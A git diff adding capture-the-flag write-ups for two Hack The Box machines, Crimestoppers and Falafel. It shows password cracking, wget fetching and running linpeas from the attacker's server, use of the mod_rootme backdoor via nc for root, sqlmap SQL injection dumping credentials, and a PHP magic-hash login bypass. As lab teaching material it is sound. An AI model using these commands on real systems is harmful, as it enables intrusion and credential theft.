(fork) + Press 'q' or Ctrl-C to abort, almost any other key for status + (key3.db) + 4 1g 0:00:00:00 DONE (2021-07-09 19:30) 33.33g/s 42666p/s 42666c/s 42666C/s smitty..babygrl + 2 0g 0:00:00:15 DONE (2021-07-09 19:30) 0g/s 237479p/s 237479c/s 237479C/s tania.abygurl69 + 1 0g 0:00:00:15 DONE (2021-07-09 19:30) 0g/s 234069p/s 234069c/s 234069C/s Jakekovac3.ie168 + Waiting for 3 children to terminate + 3 0g 0:00:00:15 DONE (2021-07-09 19:30) 0g/s 230903p/s 230903c/s 230903C/s 0125457423 .a6_123 + Session completed + + + +Looks like we have an empty password for our key3.db file so let's install thunderbird to check if this is really an empty password: + + + [ 10.10.14.8/23 ] [ /dev/pts/32 ] [~/HTB/Crimestoppers] + → sudo apt install thunderbird -y + + [ 10.10.14.8/23 ] [ /dev/pts/34 ] [~] + → cd ~/.thunderbird + + [ 10.10.14.8/23 ] [ /dev/pts/34 ] [~/.thunderbird] + → ls + 110d40o6.default 13u77s1u.default-default 'Crash Reports' installs.ini 'Pending Pings' profiles.ini + + [ 10.10.14.8/23 ] [ /dev/pts/34 ] [~/.thunderbird] + → sudo cp -r ~/HTB/Crimestoppers/.thunderbird/36jinndk.default . + [sudo] password for nothing: + + [ 10.10.14.8/23 ] [ /dev/pts/34 ] [~/.thunderbird] + → vim profiles.ini + + [ 10.10.14.8/23 ] [ /dev/pts/34 ] [~/.thunderbird] + → cat profiles.ini + [Profile1] + Name=default + IsRelative=1 + Path=36jinndk.default + Default=1 + + [InstallFDC34C9F024745EB] + Default=13u77s1u.default-default + Locked=1 + + [Profile0] + Name=default-default + IsRelative=1 + Path=13u77s1u.default-default + + [General] + StartWithLastProfile=1 + Version=2 + + [ 10.10.14.8/23 ] [ /dev/pts/34 ] [~/.thunderbird] + → thunderbird -ProfileManager + + + +And after taking a look at dom's emails, we can go into the 'saved passwords' security setting to find her password **Gummer59** so let's get a shell as dom: + + + www-data@ubuntu:/var/www/html$ su - dom + Password: Gummer59 + dom@ubuntu:~$ id + uid=1000(dom) gid=1000(dom) groups=1000(dom),**4(adm)** ,24(cdrom),27(sudo),30(dip),46(plugdev),114(lpadmin),115(sambashare) + + + +One interesting thing to note here is that we are part of the **adm** group so we may be able to take a look at the machine's logs. Now that's done let's take a look at her draft emails: + + + dom@ubuntu:~$ cd .thunderbird/36jinndk.default/ImapMail/crimestoppers.htb/ + dom@ubuntu:~/.thunderbird/36jinndk.default/ImapMail/crimestoppers.htb$ cat Drafts-1 + From + FCC: imap://dom%40crimestoppers.htb@crimestoppers.htb/Sent + X-Identity-Key: id1 + X-Account-Key: account1 + To: elliot@ecorp.htb + From: dom + Subject: Potential Rootkit + Message-ID: <1f42c857-08fd-1957-8a2d-fa9a4697ffa5@crimestoppers.htb> + Date: Sat, 16 Dec 2017 12:53:18 -0800 + X-Mozilla-Draft-Info: internal/draft; vcard=0; receipt=0; DSN=0; uuencode=0; + attachmentreminder=0; deliveryformat=4 + User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 + Thunderbird/52.5.0 + MIME-Version: 1.0 + Content-Type: text/html; charset=utf-8 + Content-Language: en-US + Content-Transfer-Encoding: 8bit + + + + + + + Elliot. + + + + + We got a suspicious email from the DarkArmy claiming there is a + Remote Code Execution bug on our Webserver.  I don't trust them + and ran rkhunter, it reported that there a rootkit installed + called: apache_modrootme backdoor. + + + + + According to my research, if this rootkit was on the server I + should be able to run "nc localhost 80" and then type get root to + get + + nc localhost 80 + + + + + get root + + + + + + + + + + + + + + From - Sat Dec 16 12:53:19 2017 + X-Mozilla-Status: 0001 + X-Mozilla-Status2: 00000000 + FCC: imap://dom%40crimestoppers.htb@crimestoppers.htb/Sent + X-Identity-Key: id1 + X-Account-Key: account1 + To: elliot@ecorp.htb + From: dom + Subject: Potential Rootkit + Message-ID: <1f42c857-08fd-1957-8a2d-fa9a4697ffa5@crimestoppers.htb> + Date: Sat, 16 Dec 2017 12:53:18 -0800 + X-Mozilla-Draft-Info: internal/draft; vcard=0; receipt=0; DSN=0; uuencode=0; + attachmentreminder=0; deliveryformat=4 + User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 + Thunderbird/52.5.0 + MIME-Version: 1.0 + Content-Type: text/html; charset=utf-8 + Content-Language: en-US + Content-Transfer-Encoding: 8bit + + + + + + + Elliot. + + + + + We got a suspicious email from the DarkArmy claiming there is a + Remote Code Execution bug on our Webserver.  I don't trust them + and ran rkhunter, it reported that there a rootkit installed + called: apache_modrootme backdoor. + + + + + According to my research, if this rootkit was on the server I + should be able to run "nc localhost 80" and then type get root to + get + + nc localhost 80 + + + + + get root + + + + + + + + + + + + + + + +Now we have a hint towards a certain rootkit/backdoor called **apache_modrootme** , let's run linpeas.sh on the box if it gets picked up: + + + [terminal 1] + [ 10.10.14.8/23 ] [ /dev/pts/14 ] [~/HTB/Crimestoppers] + → cp /home/nothing/Tools/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh . + + [ 10.10.14.8/23 ] [ /dev/pts/14 ] [~/HTB/Crimestoppers] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + 10.10.10.80 - - [10/Jul/2021 13:56:57] "GET /linpeas.sh HTTP/1.1" 200 - + + [terminal 2] + dom@ubuntu:~$ wget http://10.10.14.8:9090/linpeas.sh -O /tmp/peas.sh + --2021-07-10 05:05:15-- http://10.10.14.8:9090/linpeas.sh + Connecting to 10.10.14.8:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 341863 (334K) [text/x-sh] + Saving to: ‘/tmp/peas.sh’ + + /tmp/peas.sh 100%[=============================================================================================================>] 333.85K 117KB/s in 2.8s + + 2021-07-10 05:05:19 (117 KB/s) - ‘/tmp/peas.sh’ saved [341863/341863] + + dom@ubuntu:~$ chmod +x /tmp/peas.sh + dom@ubuntu:~$ /tmp/peas.sh + + + +` ![](prg/8/35.png) + +Now we don't necessarily get the modrootme apache string we wanted, but we do get the confirmation that of our suspicion earlier, we are able to read logs of apache2, and chances are, that we may get passwords in here. So let's take a look: + +![](prg/8/36.png) + + + dom@ubuntu:/var/log/apache2$ zcat access.log.* | grep -v 'OPTIONS\|HEAD\|POST\|GET' | grep ' 400 ' + + gzip: access.log.1: not in gzip format + ::1 - - [25/Dec/2017:12:59:19 -0800] "FunSociety" 400 0 "-" "-" + ::1 - - [25/Dec/2017:13:00:00 -0800] "FunSociety" 400 0 "-" "-" + 127.0.0.1 - - [25/Dec/2017:13:11:04 -0800] "FunSociety" 400 0 "-" "-" + 10.10.10.80 - - [25/Dec/2017:13:11:22 -0800] "FunSociety" 400 0 "-" "-" + 10.10.10.80 - - [25/Dec/2017:13:11:32 -0800] "42PA" 400 0 "-" "-" + 10.10.10.80 - - [25/Dec/2017:13:11:46 -0800] "FunSociety" 400 0 "-" "-" + ::1 - - [25/Dec/2017:13:13:12 -0800] "FunSociety" 400 0 "-" "-" + ::1 - - [25/Dec/2017:13:13:52 -0800] "FunSociety" 400 0 "-" "-" + ::1 - - [25/Dec/2017:13:13:55 -0800] "FunSociety" 400 0 "-" "-" + ::1 - - [25/Dec/2017:13:14:00 -0800] "FunSociety" 400 0 "-" "-" + 10.10.14.3 - - [25/Dec/2017:13:14:53 -0800] "FunSociety" 400 0 "-" "-" + 10.10.10.80 - - [22/Dec/2017:10:17:17 -0800] "sdf" 400 0 "-" "-" + 10.10.10.80 - - [22/Dec/2017:10:17:34 -0800] "Get FunSociety" 400 301 "-" "-" + ::1 - - [23/Dec/2017:14:39:17 -0800] "get root" 400 301 "-" "-" + ::1 - - [23/Dec/2017:14:40:53 -0800] "get-root" 400 0 "-" "-" + ::1 - - [23/Dec/2017:14:41:02 -0800] "root" 400 0 "-" "-" + ::1 - - [23/Dec/2017:14:43:28 -0800] "HackTheBox" 400 0 "-" "-" + ::1 - - [23/Dec/2017:14:43:34 -0800] "darkarmy" 400 0 "-" "-" + ::1 - - [23/Dec/2017:14:46:50 -0800] "WhiteRose@DarkArmy.htb" 400 0 "-" "-" + ::1 - - [23/Dec/2017:14:48:09 -0800] "HackTheBox" 400 0 "-" "-" + ::1 - - [23/Dec/2017:14:48:30 -0800] "/var/www/html/uploads/whiterose.txt" 400 0 "-" "-" + ::1 - - [23/Dec/2017:14:51:37 -0800] "bash" 400 0 "-" "-" + ::1 - - [23/Dec/2017:14:57:40 -0800] "rootme" 400 0 "-" "-" + ::1 - - [23/Dec/2017:15:04:41 -0800] "hACKtHEbOX" 400 0 "-" "-" + ::1 - - [23/Dec/2017:15:04:52 -0800] "DmogXdiNct" 400 0 "-" "-" + ::1 - - [23/Dec/2017:15:05:04 -0800] "ElnfYehObu" 400 0 "-" "-" + ::1 - - [23/Dec/2017:15:05:12 -0800] "FomeZfkLav" 400 0 "-" "-" + ::1 - - [23/Dec/2017:15:05:21 -0800] "dMOGxDInCT" 400 0 "-" "-" + ::1 - - [23/Dec/2017:15:05:33 -0800] "eLNFyEHoBU" 400 0 "-" "-" + ::1 - - [23/Dec/2017:15:05:46 -0800] "fOMEzFKlAV" 400 0 "-" "-" + + + +And when we take a look at apache's access logs we see a bunch of requests that have been made with the passphrase **FunSociety** and **get-root** so we put the pieces together by taking a look at the modrootme github repository [here](https://github.com/sajith/mod-rootme): and we see that we need to do the following: + + + nc localhost 80 + get root + id + + + +So let's try it: + + + [ 10.10.14.8/23 ] [ /dev/pts/15 ] [~/HTB/Crimestoppers] + → nc 10.10.10.80 80 + GET FunSociety + rootme-0.5 DarkArmy Edition Ready + + id + uid=0(root) gid=0(root) groups=0(root) + + python3 -c 'import pty;pty.spawn("/bin/bash")' + root@ubuntu:/# cd ~ + cd ~ + + root@ubuntu:/root# cat root.txt + cat root.txt + 6fXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to get a root shell and get the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/8_graph.png) + diff --git a/Hard/9.md b/Hard/9.md new file mode 100644 index 0000000..cb8b4ee --- /dev/null +++ b/Hard/9.md @@ -0,0 +1,1144 @@ +# Falafel Writeup + +![](img/9.png) + +## Introduction : + +Falafel is a hard linux box released back in Febuary 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.6/23 ] [ /dev/pts/16 ] [~/_HTB/Falafel] + → sudo nmap -vvv -sTU -p- 10.10.10.73 --max-retries 0 -Pn --min-rate=500 | grep Discovered + [sudo] password for nothing: + Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. + Discovered open port 22/tcp on 10.10.10.73 + Discovered open port 80/tcp on 10.10.10.73 + + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.6/23 ] [ /dev/pts/16 ] [~/_HTB/Falafel] + → sudo nmap -sCV -p22,80 10.10.10.73 + Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-21 11:47 CET + Nmap scan report for 10.10.10.73 + Host is up (0.040s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 36:c0:0a:26:43:f8:ce:a8:2c:0d:19:21:10:a6:a8:e7 (RSA) + | 256 cb:20:fd:ff:a8:80:f2:a2:4b:2b:bb:e1:76:98:d0:fb (ECDSA) + |_ 256 c4:79:2b:b6:a9:b7:17:4c:07:40:f3:e5:7c:1a:e9:dd (ED25519) + 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) + | http-robots.txt: 1 disallowed entry + |_/*.txt + |_http-server-header: Apache/2.4.18 (Ubuntu) + |_http-title: Falafel Lovers + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 8.32 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's investigate it: + +![](prg/9/1.png) + +Here we are hinted at 2 things : First the login page top right and the username "IT" at the domain name "falafel.htb". So let's check out the login page which is a php page: + +![](prg/9/2.png) + +So here we try a standard SQL injection **' or 1=1** + +![](prg/9/3.png) + +next we'll try something random **nothing:nowhere** : + +![](prg/9/4.png) + +And here we get a different error message "Try again.." so we can see here that using the admin username gives us a different error message. so let's enumerate this with gobuster and wfuzz: + + + apt install seclists -y + + [ 10.10.14.6/23 ] [ /dev/pts/21 ] [~] + → gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php -u http://10.10.10.73 + + + +Let gobuster run in the background, and let's check what the post request exactly is from burpsuite: + +![](prg/9/5.png) + +So here we see it is a POST request to login.php with the parameters **username** and **password** + + + [ 10.10.14.6/23 ] [ /dev/pts/22 ] [~/_HTB/Falafel] + → cp /usr/share/seclists/Usernames/Names/names.txt . + + [ 10.10.14.6/23 ] [ /dev/pts/22 ] [~/_HTB/Falafel] + → l + total 80K + drwxr-xr-x 2 nothing nothing 4.0K Dec 21 13:14 . + drwxr-xr-x 4 nothing nothing 4.0K Dec 21 11:44 .. + -rw-r--r-- 1 nothing nothing 70K Dec 21 13:14 names.txt + + + +now we're going to use seclists' names.txt wordlist with wfuzz: + + + [ 10.10.14.6/23 ] [ /dev/pts/22 ] [~/_HTB/Falafel] + → wfuzz -c -z files,names.txt --sc 200 -d "username=FUZZ&password;=IppsecRocks" http://10.10.10.73/login.php + + + + + [ 10.10.14.6/23 ] [ /dev/pts/26 ] [~] + → wfuzz -c -w names.txt --sc 200 -d "username=FUZZ&password;=IppsecRocks" http://10.10.10.73/login.php 2>/dev/null + ******************************************************** + * Wfuzz 3.1.0 - The Web Fuzzer * + ******************************************************** + + Target: http://10.10.10.73/login.php + Total requests: 10177 + + ===================================================================== + ID Response Lines Word Chars Payload + ===================================================================== + + 000000003: 200 102 L 657 W 7074 Ch "aarika" + 000000018: 200 102 L 657 W 7074 Ch "abdallah" + 000000017: 200 102 L 657 W 7074 Ch "abdalla" + 000000015: 200 102 L 657 W 7074 Ch "abby" + 000000014: 200 102 L 657 W 7074 Ch "abbie" + 000000007: 200 102 L 657 W 7074 Ch "abagael" + 000000001: 200 102 L 657 W 7074 Ch "aaliyah" + 000000011: 200 102 L 657 W 7074 Ch "abbe" + 000000010: 200 102 L 657 W 7074 Ch "abbas" + 000000008: 200 102 L 657 W 7074 Ch "abagail" + 000000009: 200 102 L 657 W 7074 Ch "abahri" + 000000005: 200 102 L 657 W 7074 Ch "aartjan" + 000000006: 200 102 L 657 W 7074 Ch "aarushi" + 000000002: 200 102 L 657 W 7074 Ch "aaren" + 000000021: 200 102 L 657 W 7074 Ch "abe" + 000000049: 200 102 L 657 W 7074 Ch "adalyn" + 000000025: 200 102 L 657 W 7074 Ch "abigael" + 000000060: 200 102 L 657 W 7074 Ch "addy" + 000000033: 200 102 L 657 W 7074 Ch "abriel" + 000000004: 200 102 L 657 W 7074 Ch "aaron" + 000000019: 200 102 L 657 W 7074 Ch "abdul" + 000000058: 200 102 L 657 W 7074 Ch "addison" + 000000055: 200 102 L 657 W 7074 Ch "addia" + 000000054: 200 102 L 657 W 7074 Ch "addi" + 000000056: 200 102 L 657 W 7074 Ch "addie" + 000000053: 200 102 L 657 W 7074 Ch "adda" + 000000057: 200 102 L 657 W 7074 Ch "addilyn" + 000000059: 200 102 L 657 W 7074 Ch "addons" + 000000051: 200 102 L 657 W 7074 Ch "adan" + 000000048: 200 102 L 657 W 7074 Ch "adaline" + 000000050: 200 102 L 657 W 7074 Ch "adam" + 000000047: 200 102 L 657 W 7074 Ch "adalia" + 000000046: 200 102 L 657 W 7074 Ch "adair" + 000000045: 200 102 L 657 W 7074 Ch "adah" + 000000052: 200 102 L 657 W 7074 Ch "adara" + ^C + Total time: 0 + Processed Requests: 35 + Filtered Requests: 0 + Requests/sec.: 0 + + + +Now we see that we get alot of responses that are all 657Words long, but as you can see they are not the usernames we want like the username admin we found earlier. Since we know admin username got us a different response, it's safe to assume this is not the same length as 657 so we're going to filter out the responses that are 657 words long: + + + [ 10.10.14.6/23 ] [ /dev/pts/22 ] [~/_HTB/Falafel] + → wfuzz -c -w names.txt --hw 657 -d "username=FUZZ&password;=IppsecRocks" http://10.10.10.73/login.php 2>/dev/null + ******************************************************** + * Wfuzz 3.1.0 - The Web Fuzzer * + ******************************************************** + + Target: http://10.10.10.73/login.php + Total requests: 10177 + + ===================================================================== + ID Response Lines Word Chars Payload + ===================================================================== + + 000000086: 200 102 L 659 W 7091 Ch "admin" + 000001886: 200 102 L 659 W 7091 Ch "chris" + ^C + Total time: 0 + Processed Requests: 2603 + Filtered Requests: 2601 + Requests/sec.: 0 + + + +And there we have it, so we have 2 usernames : admin and chris. In the meantime, gobuster finished in the background, and we get a few interesting pages: + + + + [ 10.10.14.6/23 ] [ /dev/pts/21 ] [~] + → gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php -u http://10.10.10.73 + =============================================================== + Gobuster v3.0.1 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) + =============================================================== + [+] Url: http://10.10.10.73 + [+] Threads: 10 + [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt + [+] Status codes: 200,204,301,302,307,401,403 + [+] User Agent: gobuster/3.0.1 + [+] Extensions: txt,php + [+] Timeout: 10s + =============================================================== + 2020/12/21 13:08:51 Starting gobuster + =============================================================== + /images (Status: 301) + /index.php (Status: 200) + /login.php (Status: 200) + /profile.php (Status: 302) + /uploads (Status: 301) + /header.php (Status: 200) + /assets (Status: 301) + /footer.php (Status: 200) + /upload.php (Status: 302) + /css (Status: 301) + /style.php (Status: 200) + /js (Status: 301) + /logout.php (Status: 302) + /robots.txt (Status: 200) + **/cyberlaw.txt (Status: 200)** + /connection.php (Status: 200) + /server-status (Status: 403) + Progress: 173551 / 220561 (78.69%)^C + [!] Keyboard interrupt detected, terminating. + =============================================================== + 2020/12/21 13:41:18 Finished + =============================================================== + + [ 10.10.14.6/23 ] [ /dev/pts/21 ] [~] + → curl http://10.10.10.73/cyberlaw.txt + From: Falafel Network Admin (admin@falafel.htb) + Subject: URGENT!! MALICIOUS SITE TAKE OVER! + Date: November 25, 2017 3:30:58 PM PDT + To: lawyers@falafel.htb, devs@falafel.htb + Delivery-Date: Tue, 25 Nov 2017 15:31:01 -0700 + Mime-Version: 1.0 + X-Spam-Status: score=3.7 tests=DNS_FROM_RFC_POST, HTML_00_10, HTML_MESSAGE, HTML_SHORT_LENGTH version=3.1.7 + X-Spam-Level: *** + + A user named "chris" has informed me that he could log into MY account without knowing the password, + then take FULL CONTROL of the website using the image upload feature. + We got a cyber protection on the login form, and a senior php developer worked on filtering the URL of the upload, + so I have no idea how he did it. + + Dear lawyers, please handle him. I believe Cyberlaw is on our side. + Dear develpors, fix this broken site ASAP. + + ~admin% + + +Here we also see chris' username, and we get hinted at an image upload exploitation. So let's try to find chris' password. we could do it with hydra, but we'll try to get it through sql injection using sqlmap: + +![](prg/9/6.png) ![](prg/9/7.png) + +Here i saved it as login.req to pass it to sqlmap: + + + + [ 10.10.14.6/23 ] [ /dev/pts/21 ] [~/_HTB/Falafel] + → l + total 84K + drwxr-xr-x 2 nothing nothing 4.0K Dec 21 13:54 . + drwxr-xr-x 4 nothing nothing 4.0K Dec 21 11:44 .. + -rw-r--r-- 1 nothing nothing 541 Dec 21 13:54 login.req + -rw-r--r-- 1 nothing nothing 70K Dec 21 13:14 names.txt + + [ 10.10.14.6/23 ] [ /dev/pts/21 ] [~/_HTB/Falafel] + → sqlmap -r login.req --batch --level 5 --risk 3 -p username,password + ___ + __H__ + ___ ___[.]_____ ___ ___ {1.4.12#stable} + |_ -| . ["] | .'| . | + |___|_ [)]_|_|_|__,| _| + |_|V... |_| http://sqlmap.org + + [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program + + [*] starting @ 13:55:41 /2020-12-21/ + + [13:55:41] [INFO] parsing HTTP request from 'login.req' + [13:55:41] [WARNING] provided parameters 'username, password' are not inside the Cookie + [13:55:41] [INFO] testing connection to the target URL + [13:55:41] [INFO] checking if the target is protected by some kind of WAF/IPS + [13:55:41] [INFO] testing if the target URL content is stable + [13:55:42] [INFO] target URL content is stable + [13:55:42] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable + [13:55:42] [INFO] testing for SQL injection on POST parameter 'username' + [13:55:42] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' + [...] + + +Basically here sqlmap finds nothing so you need to tell sqlmap that there is an error message that isn't what we want and that is "Wrong identification : username" or in short "Wrong identification" so we specify that and let it run again: + + + + [ 10.10.14.6/23 ] [ /dev/pts/21 ] [~/_HTB/Falafel] + → sqlmap -r login.req --batch --level 5 --risk 3 --string "Wrong identification" -p username,password + ___ + __H__ + ___ ___[)]_____ ___ ___ {1.4.12#stable} + |_ -| . ["] | .'| . | + |___|_ [(]_|_|_|__,| _| + |_|V... |_| http://sqlmap.org + + [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program + + [*] starting @ 14:00:21 /2020-12-21/ + + [14:00:21] [INFO] parsing HTTP request from 'login.req' + [14:00:21] [WARNING] provided parameters 'username, password' are not inside the Cookie + [14:00:21] [INFO] testing connection to the target URL + [14:00:21] [INFO] testing if the provided string is within the target URL page content + [14:00:21] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable + [14:00:21] [INFO] testing for SQL injection on POST parameter 'username' + [14:00:21] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' + [14:00:22] [INFO] POST parameter 'username' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable + [...] + + [14:00:49] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns' + [14:00:50] [INFO] checking if the injection point on POST parameter 'username' is a false positive + POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N + sqlmap identified the following injection point(s) with a total of 538 HTTP(s) requests: + --- + Parameter: username (POST) + Type: boolean-based blind + Title: AND boolean-based blind - WHERE or HAVING clause + Payload: username=chris' AND 3892=3892-- yJzw&password;=password + --- + [14:00:51] [INFO] testing MySQL + [14:00:51] [INFO] confirming MySQL + [14:00:51] [INFO] the back-end DBMS is MySQL + back-end DBMS: MySQL >= 5.0.0 + [14:00:52] [INFO] fetched data logged to text files under '/home/nothing/.local/share/sqlmap/output/10.10.10.73' + + [*] ending @ 14:00:52 /2020-12-21/ + + +And basically here we see that sqlmap found a Boolean-based blind vulnerability. so we're going to make sqlmap dump the results: + + + + [ 10.10.14.6/23 ] [ /dev/pts/21 ] [~/_HTB/Falafel] + → sqlmap -r login.req --batch --level 5 --risk 3 --string "Wrong identification" -p username,password --dump + ___ + __H__ + ___ ___[.]_____ ___ ___ {1.4.12#stable} + |_ -| . [.] | .'| . | + |___|_ [.]_|_|_|__,| _| + |_|V... |_| http://sqlmap.org + + [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program + + [*] starting @ 14:02:54 /2020-12-21/ + + [14:02:54] [INFO] parsing HTTP request from 'login.req' + [14:02:54] [WARNING] provided parameters 'username, password' are not inside the Cookie + [14:02:54] [INFO] resuming back-end DBMS 'mysql' + [14:02:54] [INFO] testing connection to the target URL + [14:02:55] [INFO] testing if the provided string is within the target URL page content + sqlmap resumed the following injection point(s) from stored session: + --- + Parameter: username (POST) + Type: boolean-based blind + Title: AND boolean-based blind - WHERE or HAVING clause + Payload: username=chris' AND 3892=3892-- yJzw&password;=password + --- + [14:02:55] [INFO] the back-end DBMS is MySQL + back-end DBMS: MySQL 5 + [14:02:55] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries + [14:02:55] [INFO] fetching current database + [14:02:55] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval + [14:02:55] [INFO] retrieved: falafel + [14:02:57] [INFO] fetching tables for database: 'falafel' + [14:02:57] [INFO] fetching number of tables for database 'falafel' + [14:02:57] [INFO] retrieved: 1 + [14:02:58] [INFO] retrieved: users + [14:02:59] [INFO] fetching columns for table 'users' in database 'falafel' + [14:02:59] [INFO] retrieved: 4 + [14:03:00] [INFO] retrieved: ID + [14:03:01] [INFO] retrieved: username + [14:03:03] [INFO] retrieved: password + [14:03:06] [INFO] retrieved: role + [14:03:08] [INFO] fetching entries for table 'users' in database 'falafel' + [14:03:08] [INFO] fetching number of entries for table 'users' in database 'falafel' + [14:03:08] [INFO] retrieved: 2 + [14:03:08] [INFO] retrieved: 1 + [14:03:09] [INFO] retrieved: 0e462096931906507119562988736854 + [14:03:21] [INFO] retrieved: admin + [14:03:23] [INFO] retrieved: admin + [14:03:25] [INFO] retrieved: 2 + [14:03:26] [INFO] retrieved: d4ee02a22fc872e36d9e3751ba72ddc8 + [14:03:39] [INFO] retrieved: normal + [14:03:41] [INFO] retrieved: chris + [14:03:43] [INFO] recognized possible password hashes in column 'password' + do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N + do you want to crack them via a dictionary-based attack? [Y/n/q] Y + [14:03:43] [INFO] using hash method 'md5_generic_passwd' + what dictionary do you want to use? + [1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter) + [2] custom dictionary file + [3] file with list of dictionary files + > 1 + [14:03:43] [INFO] using default dictionary + do you want to use common password suffixes? (slow!) [y/N] N + [14:03:43] [INFO] starting dictionary-based cracking (md5_generic_passwd) + [14:03:43] [INFO] starting 4 processes + [14:03:47] [INFO] cracked password 'juggling' for user 'chris' + Database: falafel + Table: users + [2 entries] + +----+--------+---------------------------------------------+----------+ + | ID | role | password | username | + +----+--------+---------------------------------------------+----------+ + | 1 | admin | 0e462096931906507119562988736854 | admin | + | 2 | normal | d4ee02a22fc872e36d9e3751ba72ddc8 (juggling) | chris | + +----+--------+---------------------------------------------+----------+ + + [14:03:53] [INFO] table 'falafel.users' dumped to CSV file '/home/nothing/.local/share/sqlmap/output/10.10.10.73/dump/falafel/users.csv' + [14:03:53] [INFO] fetched data logged to text files under '/home/nothing/.local/share/sqlmap/output/10.10.10.73' + + [*] ending @ 14:03:53 /2020-12-21/ + + +And we got password hashes and sqlmap cracked chris' hash for us, and thus we get the credentials **chris:juggling**! Of course it couldn't crack the admin hash otherwise that would be too easy, so let's login as chris: + +![](prg/9/8.png) + +We get login successful, and we are now logged in as the chris user: + +![](prg/9/9.png) + +And here there was a hint towards php hash collisions, basically when you look at the admin password's hash that sqlmap found earlier: + + + +----+--------+---------------------------------------------+----------+ + | ID | role | password | username | + +----+--------+---------------------------------------------+----------+ + | 1 | admin | 0e462096931906507119562988736854 | admin | + | 2 | normal | d4ee02a22fc872e36d9e3751ba72ddc8 (juggling) | chris | + +----+--------+---------------------------------------------+----------+ + + + +You see that it begins with 0e and in php, when you use == it gets treated as 0 exponential whatever, and the result of 0^n will always be 0. therefore you need to use === to avoid it from being treated as 0 exponential something. Therefore, let's find any hash that begins with 0e such as the ones shown on this [page](https://news.ycombinator.com/item?id=9484757): + +![](prg/9/10.png) + +Basically here you see that there are multiple md5 hashes that begin with 0e so theorically, it is possible that by using one of these passwords , the php interpreter would consider them as equal because 0eWhatever will always be the same with == so let's try **admin:240610708** + +![](prg/9/11.png) + +And we this was successful ! From here we are prompted by the image url upload that was mentionned earlier in cyberlaw.txt Now let's get the box to connect back to us by requesting an image: + +![](prg/9/13.png) + +Here was a rabbithole where wget being version 1.17.1 where it should be exploitable (40064.txt) + + + + [ 10.10.14.6/23 ] [ /dev/pts/22 ] [~] + → cat $(locate 40064.txt) + ============================================= + - Release date: 06.07.2016 + - Discovered by: Dawid Golunski + - Severity: High + - CVE-2016-4971 + ============================================= + + + I. VULNERABILITY + ------------------------- + + GNU Wget < 1.18 Arbitrary File Upload / Potential Remote Code Execution + + + + +Basically this bug was about abusing wget's redirect feature to a ftp page to serve a different filename, such as getting an url that ends in .gif to make it download a php file, however for some reason it doesn't work on this box, so the intended solution was as follows: + +Going back at the profile page of admin we see a hint "Know your limits" + +![](prg/9/14.png) + +Basically this is a hint towards wget's character limits + +![](prg/9/15.png) + +And on linux the maximum filename length limit is 255 characters. So let's create a 255-character-long pattern : + + + [ 10.10.14.6/23 ] [ /dev/pts/26 ] [~/_HTB/Falafel] + → locate pattern_create + /usr/bin/msf-pattern_create + /usr/share/metasploit-framework/tools/exploit/pattern_create.rb + + [ 10.10.14.6/23 ] [ /dev/pts/26 ] [~/_HTB/Falafel] + → /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 + 